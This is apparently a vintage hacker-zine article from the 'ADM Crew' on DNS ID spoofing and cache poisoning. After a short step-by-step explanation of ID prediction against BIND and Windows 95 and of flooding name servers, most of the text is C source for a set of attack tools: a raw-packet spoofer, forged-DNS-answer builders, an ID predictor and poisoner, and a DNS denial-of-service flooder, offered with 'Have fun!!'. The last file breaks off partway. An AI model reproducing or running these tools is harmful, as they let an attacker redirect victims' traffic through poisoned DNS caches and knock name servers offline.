Good =) I hope you understood that cause you will need it for the following events.

‑‑[2.0]‑‑ DNS ID hack/spoof

Now it's time to explain clearly what DNS ID hacking/spoofing is. Like I explained before, the only way for the DNS daemon to recognize the different questions/answers is the ID flag in the packet. Look at this example:

ns.bibi.com;53 ‑‑‑‑‑>[?www.heike.com] ‑‑‑‑‑‑> ns.heike.com:53

So you only have to spoof the ip of ns.heike.com and answer your false information before ns.heike.com to ns.bibi.com!

ns.bibi.com <‑‑‑‑‑‑‑ . . . . . . . . . . . ns.heike.com

|

|<‑‑[IP for www.heike.com is 1.2.3.4]<‑‑ hum.roxor.com

But in practice you have to guess the good ID :) If you are on a LAN, you can sniff to get this ID and answer before the name server (it's easy on a Local Network :)

If you want to do this remotely you don't have a lot a choices, you only have 4 basics methods:

1.) Randomly test all the possible values of the ID flag. You must answer before the ns ! (ns.heike.com in this example). This method is obsolete unless you want to know the ID .. or any other favorable condition to its prediction.

2.) Send some DNS requests (200 or 300) in order to increase the chances of falling on the good ID.

3.) Flood the DNS in order to avoid its work. The name server will crash and show the following error!

>> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set ‑ ABORT at this time named daemon is out of order :)

4.) Or you can use the vulnerability in BIND discovered by SNI (Secure Networks, Inc.) with ID prediction (we will discuss this in a bit).

##################### Windows ID Vulnerability ###########################

I found a heavy vulnerability in Windows 95 (I haven't tested it on WinNT), lets imagine my little friend that's on Windows 95. Windows ID's are extremely easy to predict because it's "1" by default :))) and "2" for the second question (if they are 2 questions at the same time).

######################## BIND Vulnerability ##############################

There is a vulnerability in BIND (discovered by SNI as stated earlier). In fact, DNS IS are easily predictable, you only have to sniff a DNS in order to do what you want. Let me explain...

The DNS uses a random ID at the beginning but it only increase this ID for next questions ... =)))

It's easy to exploit this vulnerability.

Here is the way:

1. Be able to sniff easily the messages that comes to a random DNS (ex. ns.dede.com for this sample).

2. You ask NS.victim.com to resolve (random).dede.com. NS.victim.com will ask to ns.dede.com to resolve (random).dede.com

ns.victim.com ‑‑‑> [?(rand).dede.com ID = 444] ‑‑‑> ns.dede.com

3. Now you have the ID of the message from NS.victim.com, now you know what ID area you'll have to use. (ID = 444 in this sample).

4. You then make your resolution request. ex. www.microsoft.com to NS.victim.com

(you) ‑‑‑> [?www.microsoft.com] ‑‑‑> ns.victim.com

ns.victim.com ‑‑> [?www.microsoft.com ID = 446 ] ‑‑> ns.microsoft.com

5. Flood the name server ns.victim.com with the ID (444) you already have and then you increase this one.

ns.microsoft.com ‑‑> [www.microsoft.com = 1.1.1.1 ID = 444] ‑‑> ns.victim.com ns.microsoft.com ‑‑> [www.microsoft.com = 1.1.1.1 ID = 445] ‑‑> ns.victim.com ns.microsoft.com ‑‑> [www.microsoft.com = 1.1.1.1 ID = 446] ‑‑> ns.victim.com ns.microsoft.com ‑‑> [www.microsoft.com = 1.1.1.1 ID = 447] ‑‑> ns.victim.com ns.microsoft.com ‑‑> [www.microsoft.com = 1.1.1.1 ID = 448] ‑‑> ns.victim.com ns.microsoft.com ‑‑> [www.microsoft.com = 1.1.1.1 ID = 449] ‑‑> ns.victim.com

(now you know that DNS IDs are predictable, and they only increase. You flood ns.victim.com with spoofed answers with the ID 444+ ;)

*** ADMsnOOfID does this.

There is another way to exploit this vulnerability without a root on any DNS

The mechanism is very simple. Here is the explanation

We send to ns.victim.com a resolution request for *.provnet.fr

(you) ‑‑‑‑‑‑‑‑‑‑[?(random).provnet.fr] ‑‑‑‑‑‑‑> ns.victim.com

Then, ns.victim.com asks ns1.provnet.fr to resolve (random).provnet.fr. There is nothing new here, but the interesting part begins here.

From this point you begin to flood ns.victim.com with spoofed answers (with ns1.provnet.fr IP) with ids from 100 to 110...

(spoof) ‑‑‑‑[(random).provnet.fr is 1.2.3.4 ID=100] ‑‑> ns.victim.com (spoof) ‑‑‑‑[(random).provnet.fr is 1.2.3.4 ID=101] ‑‑> ns.victim.com (spoof) ‑‑‑‑[(random).provnet.fr is 1.2.3.4 ID=102] ‑‑> ns.victim.com (spoof) ‑‑‑‑[(random).provnet.fr is 1.2.3.4 ID=103] ‑‑> ns.victim.com .....

After that, we ask ns.victim.com if (random).provnet.fr has an IP.

If ns.victim.com give us an IP for (random).provnet.fr then we have found the correct ID :) Otherwise we have to repeat this attack until we find the ID. It's a bit long but it's effective. And nothing forbids you to do this with friends ;)

This is how ADMnOg00d works ;)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

########################################

Here you will find 5 programs

ADMkillDNS ‑ very simple DNS spoofer

ADMsniffID ‑ sniff a LAN and reply false DNS answers before the NS ADMsnOOfID ‑ a DNS ID spoofer (you'll need to be root on a NS) ADMnOg00d ‑ a DNS ID predictor (no need to be root on a NS) ADNdnsfuckr ‑ a very simple denial of service attack to disable DNS

Have fun!! :)

Note: You can find source and binaries of this progs at ftp.janova.org/pub/ADM. I'm going to make a little HOWTO soon, which would be on janova. You need to install libpcap on your machine before any compilation of the ADMID proggies :)

ADM Crew.

Thanks to: all ADM crew, Shok, pirus, fyber, Heike, and w00w00 (gotta love these guys)

Special Thanks: ackboo, and of course Secure Networks, Inc. (SNI) at www.secnet.com for finding the vulnerability =)

<++> ADMIDpack/ADM‑spoof.c

/***************************************

/* ADM spoofing routine for spoof udp */

/***************************************

#define IPHDRSIZE sizeof(struct iphdr)

#define UDPHDRSIZE sizeof(struct udphdr)

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <memory.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <sys/ioctl.h>

#include <sys/stat.h>

#include <netdb.h>

#include <netinet/in.h>

#include "ip.h"

#include "udp.h"

/***************************************

/*

* in_cksum ‑‑

* Checksum routine for Internet Protocol family headers (C Version) */

/***************************************

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

/*

* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */

while (nleft > 1) {

sum += *w++;

nleft ‑= 2;

}

/* mop up an odd byte, if necessary */

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum += answer;

}

/* add back carry outs from top 16 bits to low 16 bits */

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* truncate to 16 bits */

return(answer);

}

int udp_send(s,saddr,daddr,sport,dport,datagram,datasize)

int s;

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

char * datagram;

unsigned datasize;

{

struct sockaddr_in sin;

struct iphdr *ip;

struct udphdr *udp;

unsigned char *data;

unsigned char packet[4024];

int x;

ip = (struct iphdr *)packet;

udp = (struct udphdr *)(packet+IPHDRSIZE);

data = (unsigned char *)(packet+IPHDRSIZE+UDPHDRSIZE);

memset(packet,0,sizeof(packet));

udp‑>source = htons(sport);

udp‑>dest = htons(dport);

udp‑>len = htons(UDPHDRSIZE+datasize);

udp‑>check = 0;

memcpy(data,datagram,datasize);

memset(packet,0,IPHDRSIZE);

ip‑>saddr.s_addr = saddr;

ip‑>daddr.s_addr = daddr;

ip‑>version = 4;

ip‑>ihl = 5;

ip‑>ttl = 245;

ip‑>id = random()%5985;

ip‑>protocol = IPPROTO_UDP;

ip‑>tot_len = htons(IPHDRSIZE + UDPHDRSIZE + datasize); ip‑>check = 0;

ip‑>check = in_cksum((char *)packet,IPHDRSIZE);

sin.sin_family=AF_INET;

sin.sin_addr.s_addr=daddr;

sin.sin_port=udp‑>dest;

x=sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, (struct sockaddr*)&sin, sizeof(struct sockaddr));

return(x);

}

/***************************************

/* RECV PAKET

/* get_pkt(socket, *buffer , size of the buffer); */

/***************************************

int get_pkt(s,data,size)

int s;

unsigned char *data;

int size;

{

struct sockaddr_in sin;

int len,resu;

len= sizeof(sin);

resu=recvfrom(s,data,size,0,(struct sockaddr *)&sin,&len); return resu;

}

<‑‑>

<++> ADMIDpack/ADMDNS2.c

/***************************************

/* DNS include for play with DNS packet (c) ADM */

/***************************************

#define ERROR ‑1

#define DNSHDRSIZE 12

#define TYPE_A 1

#define TYPE_PTR 12

int myrand()

{

int j;

j=1+(int) (150.0*rand()/(RAND_MAX+1.0));

return(j);

}

unsigned long host2ip(char *serv)

{

struct sockaddr_in sinn;

struct hostent *hent;

hent=gethostbyname(serv);

if(hent == NULL) return 0;

bzero((char *)&sinn, sizeof(sinn));

bcopy(hent‑>h_addr, (char *)&sinn.sin_addr, hent‑>h_length); return sinn.sin_addr.s_addr;

}

void nameformat(char *name,char *QS)

{

/* CRAP & LAme COde :) */

char lol[3000];

char tmp[2550];

char tmp2[2550];

int i,a=0;

bzero(lol,sizeof(lol));

bzero(tmp,sizeof(tmp));

bzero(tmp2,sizeof(tmp2));

for(i=0;i<strlen(name);i++)

{

if( *(name+i) == '.' ){ sprintf(tmp2,"%c%s",a,tmp);

strcat(lol,tmp2);

bzero(tmp,sizeof(tmp)); bzero(tmp2,sizeof(tmp2));

a=0;

}

else tmp[a++] = *(name+i);

}

sprintf(tmp2,"%c%s",a,tmp);

strcat(lol,tmp2);

strcpy(QS,lol);

}

void nameformatIP(char *ip, char *resu)

{

char *arpa = "in‑addr.arpa";

char bla[255];

char arf[255];

char haha[255];

char c;

char *A[4];

int i,a=3,k=0;

bzero(bla,sizeof(bla));

bzero(arf,sizeof(arf));

bzero(haha,sizeof(haha));

for(i=0;i<4;i++){

A[i] =(char *)malloc(4);

bzero(A[i],4);

}

bzero(bla,sizeof(bla));

bzero(arf,sizeof(arf));

for(i=0;i<strlen(ip);i++)

{

c = ip[i];

if( c == '.'){

strcat(A[a],arf);

a‑‑;

k=0;

bzero(arf,sizeof(arf));

}

else arf[k++] = c;

}

strcat(A[a],arf);

for(i=0;i<4;i++){

strcat(bla,A[i]);

strcat(bla,".");

}

strcat(bla,arpa);

nameformat(bla,haha);

strcpy(resu,haha);

}

int makepaketQS(char *data,char *name,int type)

{

if(type == TYPE_A ){

nameformat(name,data);

*( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_A);

}

if(type == TYPE_PTR){

nameformatIP(name,data);

*( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR);

}

*( (u_short *) (data+strlen(data)+3) ) = htons(1); return(strlen(data)+5);

}

int makepaketAW(char *data,char *name, char *ip,int type)

{

int i;

char tmp[2550];

bzero(tmp,sizeof(tmp));

if( type == TYPE_A ){

nameformat(name,data);

*( (u_short *) (data+strlen(data)+1) ) = htons(1);

*( (u_short *) (data+strlen(data)+3) ) = htons(1); i=strlen(data)+5;

strcpy(data+i,data);

i=i+strlen(data)+1;

*((u_short *) (data+i)) = htons(TYPE_A);

*((u_short *) (data+i+2)) = htons(1);

*((u_long *) (data+i+4)) = 9999999;

*((u_short *) (data+i+8)) = htons(4);

*((u_long *) (data+i+10)) = host2ip(ip);

return(i+14);

}

if( type == TYPE_PTR ){

nameformat(name,tmp);

nameformatIP(ip,data);

*( (u_short *) (data+strlen(data)+1) ) = htons(TYPE_PTR);

*( (u_short *) (data+strlen(data)+3) ) = htons(1); i=strlen(data)+5;

strcpy((data+i),data);

i=(i+strlen(data)+1);

*((u_short *) (data+i)) = htons(TYPE_PTR);

*((u_short *) (data+i+2)) = htons(1);

*((u_long *) (data+i+4)) = 9999999;

*((u_short *) (data+i+8)) = htons(strlen(tmp)+1); strcpy((data+i+10),tmp);

return(i+10+strlen(tmp)+1);

}

}

void sendquestion(u_long s_ip, u_long d_ip,char *name,int type)

{

struct dnshdr *dns;

char buff[1024];

char *data;

int i;

int on=1;

int sraw;

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){ perror("socket");

exit(ERROR);

}

if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt");

exit(ERROR);

}

dns = (struct dnshdr *) buff;

data = (char *)(buff+DNSHDRSIZE);

bzero(buff,sizeof(buff));

dns‑>id = 6000+myrand();

dns‑>qr = 0;

dns‑>rd = 1;

dns‑>aa = 0;

dns‑>que_num = htons(1);

dns‑>rep_num = htons(0);

i=makepaketQS(data,name,type); udp_send(sraw,s_ip,d_ip,1200+myrand,53,buff,DNSHDRSIZE+i); close(sraw);

}

void sendawnser(u_long s_ip, u_long d_ip, char *name,char *spoofip,int ID,int type) {

struct dnshdr *dns;

char buff[1024];

char *data;

int i;

int on=1;

int sraw;

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){ perror("socket");

exit(ERROR);

}

if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR)if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt");

exit(ERROR);

}

dns = (struct dnshdr *) buff;

data = (char *)(buff+DNSHDRSIZE);

bzero(buff,sizeof(buff));

dns‑>id = htons(ID);

dns‑>qr = 1;

dns‑>rd = 1;

dns‑>aa = 1;

dns‑>que_num = htons(1);

dns‑>rep_num = htons(1); i=makepaketAW(data,name,spoofip,type);

printf(" I apres Makepaket == %i \n",i); udp_send(sraw,s_ip,d_ip,53,53,buff,DNSHDRSIZE+i);

close(sraw);

}

void dnsspoof(char *dnstrust,char *victim,char *spoofname,char *spoofip,int ID,int type) {

struct dnshdr *dns;

char buff[1024];

char *data;

u_long fakeip;

u_long trustip;

u_long victimip;

int loop,rere;

dns = (struct dnshdr *)buff;

data = (char *)(buff+DNSHDRSIZE);

trustip = host2ip(dnstrust);

victimip = host2ip(victim);

fakeip = host2ip("12.1.1.0");

/* send question ... */

if( type == TYPE_PTR) for(loop=0;loop<4;loop++)sendquestion(fakeip,victimip,spoofip,type);

if( type == TYPE_A)

for(loop=0;loop<4;loop++) sendquestion(fakeip,victimip,spoofname,type);

/* now its time to awnser Quickly !!! */

for(rere = 0; rere < 2;rere++){

for(loop=0;loop < 80;loop++){

printf("trustip %s,vitcimip %s,spoofna %s,spoofip %s,ID %i,type %i\n", dnstrust,victim,spoofname,spoofip,ID+loop,type); sendawnser(trustip,victimip,spoofname,spoofip,ID+loop,type); }

}

}

<‑‑>

<++> ADMIDpack/ADMdnsfuckr.c

/* ADM DNS DESTROYER */

#define DNSHDRSIZE 12

#define VERSION "0.2 pub"

#define ERROR ‑1

#include <stdio.h>

#include <stdlib.h>

#include "ADM‑spoof.c"

#include "dns.h"

#include "ADMDNS2.c"

void main(int argc, char **argv)

{

struct dnshdr *dns;

char *data;

char buffer2[4000];

unsigned char namez[255];

unsigned long s_ip;

unsigned long d_ip;

int sraw,on=1;

if(argc <2){printf(" usage : %s <host> \n",argv[0]); exit(0);}

dns = (struct dnshdr *)buffer2;

data = (char *)(buffer2+12);

bzero(buffer2,sizeof(buffer2));

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){ perror("socket");

exit(ERROR);

}

if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt");

exit(ERROR);

}

printf("ADMdnsFuker %s DNS DESTROYER made by the ADM crew\n",VERSION); printf("(c) ADM,Heike vouais tous se ki est as moi est a elle aussi ...\n"); sleep(1);

s_ip=host2ip("100.1.2.3");

d_ip=host2ip(argv[1]);

dns‑>id = 123;

dns‑>rd = 1;

dns‑>que_num = htons(1);

while(1){

sprintf(namez,"\3%d\3%d\3%d\3%d\07in‑addr\04arpa",myrand(),myrand(),myrand(),myrand()); printf("%s\n",namez); strcpy(data,namez);

*( (u_short *) (data+strlen(namez)+1) ) = ntohs(12); *( (u_short *) (data+strlen(namez)+3) ) = ntohs(1); udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5); s_ip=ntohl(s_ip);

s_ip++;

s_ip=htonl(s_ip);

}

}

<‑‑>

<++> ADMIDpack/ADMkillDNS.c

#include "ADM‑spoof.c"

#include "dns.h"

#include "ADMDNS2.c"

#define ERROR ‑1

#define VERSION "0.3 pub"

#define ID_START 1

#define ID_STOP 65535

#define PORT_START 53

#define PORT_STOP 54

void main(int argc, char **argv)

{

struct dnshdr *dns;

char *data;

char buffer2[4000];

unsigned char namez[255];

unsigned long s_ip,s_ip2;

unsigned long d_ip,d_ip2;

int sraw, i, on=1, x, loop, idstart, idstop, portstart, portstop;

if(argc <5){

system("/usr/bin/clear");

printf(" usage : %s <ip src> <ip dst> <name> <ip>\n\t[A,B,N] [ID_START] [ID_STOP] [PORT START] [PORT STOP] \n",argv[0]); printf(" ip src: ip source of the dns anwser\n"); printf(" ip dst: ip of the dns victim\n"); printf(" name : spoof name ex: www.dede.com\n"); printf(" ip : the ip associate with the name\n"); printf(" options \n");

printf(" [A,B,N] \n");

printf(" A: flood the DNS victim with multiple query\n"); printf(" B: DOS attack for destroy the DNS \n"); printf(" N: None attack \n\n");

printf(" [ID_START] \n"); printf(" ID_START: id start :> \n\n"); printf(" [ID_STOP] n"); printf(" ID_STOP : id stop :> \n\n"); printf(" PORT START,PORT STOP: send the spoof to the portstart at portstop\n\n"); printf("\033[01mADMkillDNS %s (c) ADM\033[0m , Heike \n",VERSION); exit(ERROR);

}

dns = (struct dnshdr *)buffer2;

data = (char *)(buffer2+DNSHDRSIZE); bzero(buffer2,sizeof(buffer2));

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){ perror("socket");

exit(ERROR);

}

if((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt");

exit(ERROR);

}

printf("ADMkillDNS %s",VERSION);

printf("\nouais ben mwa je dedie ca a ma Heike"); printf("\nREADY FOR ACTION!\n");

s_ip2=s_ip=host2ip(argv[1]);

d_ip2=d_ip=host2ip(argv[2]);

if(argc>5)if(*argv[5]=='A')

{

for(loop=0;loop<10;loop++){

dns‑>id = 6000+loop;

dns‑>qr = 0;

dns‑>rd = 1;

dns‑>aa = 0;

dns‑>que_num = htons(1);

dns‑>rep_num = htons(0); i=makepaketQS(data,argv[3],TYPE_A); udp_send(sraw,s_ip,d_ip,1200+loop,53,buffer2,DNSHDRSIZE+i); s_ip=ntohl(s_ip);

s_ip++;

s_ip=htonl(s_ip);

}

} /* end of DNS flood query */

/* ici on trouve la routine contre un DOS */

if(argc>5)if(*argv[5]=='B')

{

s_ip=host2ip("100.1.2.3");

dns‑>id = 123;

dns‑>rd = 1;

dns‑>que_num = htons(1);

printf("plz enter the number of packet u wanna send\n"); scanf("%i",&i);

for(x=0;x<i;x++){

sprintf(namez,"\3%d\3%d\3%d\3%d\07in‑addr\04arpa",myrand(),myrand(),myrand(),myrand()); strcpy(data,namez);

*( (u_short *) (data+strlen(namez)+1) ) = ntohs(12); *( (u_short *) (data+strlen(namez)+3) ) = ntohs(1); udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5); s_ip=ntohl(s_ip);

s_ip++;

s_ip=htonl(s_ip);

printf("send packet num %i:%i\n",x,i); }

} /* end of DNS DOS */

if(argc > 6 )idstart = atoi(argv[6]);

else

idstart = ID_START;

if(argc > 7 )idstop = atoi(argv[7]);

else

idstop = ID_STOP;

if(argc > 8 ){

portstart = atoi(argv[8]);

portstop = atoi(argv[9]);

}

else {

portstart = PORT_START;

portstop = PORT_STOP;

}

bzero(buffer2,sizeof(buffer2));

bzero(namez,sizeof(namez));

i=0;

x=0;

s_ip=s_ip2;

d_ip=d_ip2;

for(;idstart<idstop;idstart++){

dns‑>id = htons(idstart);

dns‑>qr = 1;

dns‑>rd = 1;

dns‑>aa = 1;

dns‑>que_num = htons(1);

dns‑>rep_num = htons(1);

printf("send awnser with id %i to port %i at port %i\n",idstart,portstart,portstop);

i=makepaketAW(data,argv[3],argv[4],TYPE_A);

for(;x < portstop; x++) udp_send(sraw,s_ip,d_ip,53,x,buffer2,DNSHDRSIZE+i); x = portstart;

}

printf(" terminated..\n");

}

<‑‑>

<++> ADMIDpack/ADMnOg00d.c

/***************************/

/* ADMnog00d (c) ADM */

/***************************/

/* ADM DNS ID PREDICTOR */

/***************************/

#include <fcntl.h>

#include <unistd.h>

#include "dns.h"

#include "ADM‑spoof.c"

#include "ADMDNS2.c"

#define VERSION "0.7 pub"

#define SPOOFIP "4.4.4.4"

#define ERROR ‑1

#define LEN sizeof(struct sockaddr)

#define UNDASPOOF "111.111.111.111"

#define TIMEOUT 300

#define DNSHDRSIZE 12

void usage()

{

printf(" ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof name> <spoof ip> <ns.trust.for.the.spoof> [ID] \n"); printf("\n ex: ADMnoG00d ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n"); printf(" well... we going to poison ns.victime.com for they resolv mouhhahaha.hol.fr in 31.3.3.7\n"); printf(" we use provnet.fr and ns1.provnet for find ID of ns.victim.com\n"); printf(" we use ns.isdnet.net for spoof because they have auth on *.hol.fr\n"); printf(" for more information..\n");

printf(" check ftp.janova.org/pub/ADM/ \n");

printf(" mail ADM@janova.org \n");

printf(" ask Heike from me...:) \n");

exit(‑1);

}

void senddnspkt(s,d_ip,wwwname,ip,dns)

int s;

u_long d_ip;

char *wwwname;

char *ip;

struct dnshdr *dns;

{

struct sockaddr_in sin;

int i;

char buffer[1024];

char *data = (char *)(buffer+DNSHDRSIZE); bzero(buffer,sizeof(buffer));

memcpy(buffer,dns,DNSHDRSIZE);

if(dns‑>qr == 0)

{

i=makepaketQS(data,wwwname,TYPE_A);

sin.sin_family = AF_INET;

sin.sin_port = htons(53);

sin.sin_addr.s_addr = d_ip; sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN); }

else

{

i=makepaketAW(data,wwwname,ip,TYPE_A);

sin.sin_family = AF_INET;

sin.sin_port = htons(53);

sin.sin_addr.s_addr = d_ip; sendto(s,buffer,DNSHDRSIZE+i,0,(struct sockaddr *)&sin,LEN);

}

}

void dns_qs_no_rd(s,d_ip,wwwname,ID)

int s;

u_long d_ip;

char *wwwname;

int ID;

{

struct dnshdr *dns;

char *data;

char buffer[1024];

int i;

dns = (struct dnshdr *)buffer;

data = (char *)(buffer+DNSHDRSIZE);

bzero(buffer,sizeof(buffer));

dns‑>id = htons(ID);

dns‑>qr = 0;

dns‑>rd = 0; /* dont want the recusion !! */

dns‑>aa = 0;

dns‑>que_num = htons(1);

dns‑>rep_num = htons(0); i=makepaketQS(data,wwwname,TYPE_A); senddnspkt(s,d_ip,wwwname,NULL,dns);

}

void main(int argc, char **argv)

{

struct sockaddr_in sin_rcp;

struct dnshdr *dns, *dns_recv;

char *data, *data2;

char buffer2[4000];

char buffer[4000];

char spoofname[255];

char spoofip[255];

char dnstrust[255];

char bla[255];

char *alacon;

unsigned char fakename[255];

unsigned char namez[255];

unsigned long s_ip, s_ip2;

unsigned long d_ip, d_ip2, trust;

unsigned int DA_ID = 65535, loop = 65535; int sraw, s_r, i, on=1, x, ID,timez;

int len = sizeof(struct sockaddr);

dns_recv = (struct dnshdr *)(buffer);

data2 = (char *)(buffer+DNSHDRSIZE);

dns = (struct dnshdr *)buffer2;

data = (char *)(buffer2+DNSHDRSIZE);

bzero(buffer2,sizeof(buffer2));

srand(time(NULL));

if( (s_r=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) == ERROR ){ perror("socket");

exit(ERROR);

}

if( (fcntl(s_r,F_SETFL,O_NONBLOCK)) == ERROR ){ perror("fcntl");

exit(ERROR);

}

if ((sraw = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR ){ perror("socket");

exit(ERROR);

}

if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == ERROR)){ perror("setsockopt");

exit(ERROR);

}

if(argc < 2) usage();

if(argc > 9 )DA_ID = loop = atoi(argv[9]);

if(argc > 6)strcpy(spoofname,argv[6]);

else{

printf("enter the name you wanna spoof:"); scanf("%s",spoofname);

}

if(argc > 7)strcpy(bla,argv[7]);

else{

printf("enter the ip's of the spoof name:"); scanf("%s",bla);

}

alacon =(char *)inet_ntoa(host2ip(bla)); strcpy(spoofip,alacon);

if( argc > 8 ) strcpy(bla,argv[8]);

else{

printf("enter the DNS trust of the victim:"); scanf("%s",bla);

}

alacon =(char *)inet_ntoa(host2ip(bla)); strcpy(dnstrust,alacon);

printf("ADMnoG00d %s\n",VERSION);

printf("\033[1mHeike\033[0m ownz Me So g\033[5m\033[36m0\033[0m\033[1m0\033[0md\n"); sleep(1);

printf("\nLets Play =)!!\n");

/* save some param */

s_ip2 = host2ip(argv[1]);

d_ip2 = d_ip = host2ip(argv[4]);

trust = host2ip(argv[2]);

s_ip = host2ip(UNDASPOOF);

while(1){

sprintf(fakename,"%i%i%i%i%i%i.%s", myrand(),

myrand(),

myrand(),

myrand(),

myrand(),

myrand(),

argv[3]);

sendquestion(s_ip,d_ip,fakename,TYPE_A);

/* end of question packet */

bzero(buffer2,sizeof(buffer2)); /* RE init some variable */

bzero(namez,sizeof(namez));

i=0;

x=0;

/* here start the spoof anwser */

ID = loop;

for(;loop >= ID‑10 ;loop‑‑){

dns‑>id = htons(loop);

dns‑>qr = 1;

dns‑>rd = 1;

dns‑>aa = 1;

dns‑>que_num = htons(1);

dns‑>rep_num = htons(1);

i=makepaketAW(data,fakename,SPOOFIP,TYPE_A); udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i); }

bzero(buffer2,sizeof(buffer2)); /* RE init some variable */

bzero(namez,sizeof(namez));

i=0;

x=0;

/* time for test spoof */

dns_qs_no_rd(s_r,d_ip2,fakename,myrand()); /* here we sending question */

non recursive ! */

/* we waiting for awnser ... */

while(1){

for(timez=0;timez < TIMEOUT; timez++){

if( recvfrom(s_r,buffer,sizeof(buffer),0,(struct sockaddr *)&sin_rcp,&len) != ‑1 ) {

printf("ok whe have the reponse ;)\n");

timez = 0;

break;

}

usleep(10);

timez++;

}

if(timez != 0){

printf("hum no reponse from the NS ressend question..\n"); dns_qs_no_rd(s_r,d_ip2,fakename,myrand());

}

else break;

}

/* ok we have a awnser */

printf("fakename = %s\n",fakename); if(sin_rcp.sin_addr.s_addr == d_ip2 ) if(sin_rcp.sin_port == htons(53) )

{

if( dns_recv‑>qr == 1 )

if( dns_recv‑>rep_num == 0 ) /* hum we dont have found the right ID */

printf("try %i < ID < %i \n",ID‑10,ID);

else{

/* Hoho we have the spoof has worked we have found the right ID ! */

printf("the DNS ID of %s iz %i< ID <%i !!\n",argv[4],loop‑10,loop); printf("let's send the spoof...\n"); dnsspoof(dnstrust,argv[4],spoofname,spoofip,loop,atoi(argv[5])); printf("spoof sended ...\n"); exit(0);

}

} /* end of if (sin_rcp.sin_port == htons(53) ) */

bzero(buffer,sizeof(buffer));

} /* end of while loop */

}/* end of proggies */

<‑‑>

<++> ADMIDpack/ADMsnOOfID.c

#include "ADM‑spoof.c"

#include "dns.h"

#include "ADMDNS2.c"

#include <pcap.h>

#include <net/if.h>

#define DNSHDRSIZE 12

#define SPOOF "127.0.0.1"

#define VERSION "ver 0.6 pub"

#define ERROR ‑1

int ETHHDRSIZE;

void main(argc, argv)

int argc;

char *argv[];

{

struct pcap_pkthdr h;

struct pcap *pcap_d;

struct iphdr *ip;

struct udphdr *udp;

struct dnshdr *dnsrecv,*dnssend;

char *data;

char *data2;

char *buffer;

char namefake[255];

char buffer2[1024];

char ebuf[255];

char spoofname[255];

char spoofip[255];

char bla[255];

char dnstrust[255];

char *alacon;

unsigned long s_ipns;

unsigned long d_ip;

int sraw, i, on=1, con, ID,DA_ID,type;

srand( (time(NULL) % random() * random()) );

if(argc <2){

printf("usage : %s <device> <ns.victim.com> <your domain> <IP of ur NS> <type 1,12> <spoofname> <spoof ip> <ns trust> \n",argv[0]); printf("ex: %s eth0 ns.victim.com hacker.org 123.4.5.36 12 damn.diz.ip.iz.ereet.ya mail.provnet.fr ns2.provnet.fr \n",argv[0]); printf(" So ... we tryed to poison victim.com with type 12 (PTR) .. now if som1 asked for the ip of mail.provnet.fr they have resoled to damn.diz.ip.iz.ereet.ya\n"); exit(0);

}

if(strstr(argv[1],"ppp0"))ETHHDRSIZE = 0;

else ETHHDRSIZE = 14;

if(argc>5)type=atoi(argv[5]);

if(argc > 6)strcpy(spoofname,argv[6]);

else{

printf("enter the name you wanna spoof:"); scanf("%s",spoofname);

}

if(argc > 7)strcpy(bla,argv[7]);

else{

printf("enter the ip's of the spoof name:"); scanf("%s",bla);

}

alacon =(char *)inet_ntoa(host2ip(bla));

strcpy(spoofip,alacon);

if(argc > 8)strcpy(bla,argv[8]);

else{

printf("enter the dns trust for the spoof\n"); scanf("%s",bla);

}

alacon =(char *)inet_ntoa(host2ip(bla)); strcpy(dnstrust,alacon);

dnssend = (struct dnshdr *)buffer2;

data2 = (char *)(buffer2+DNSHDRSIZE);

bzero(buffer2,sizeof(buffer2));

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){ perror("socket");

exit(ERROR);

}

if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){ perror("setsockopt");

exit(ERROR);

}

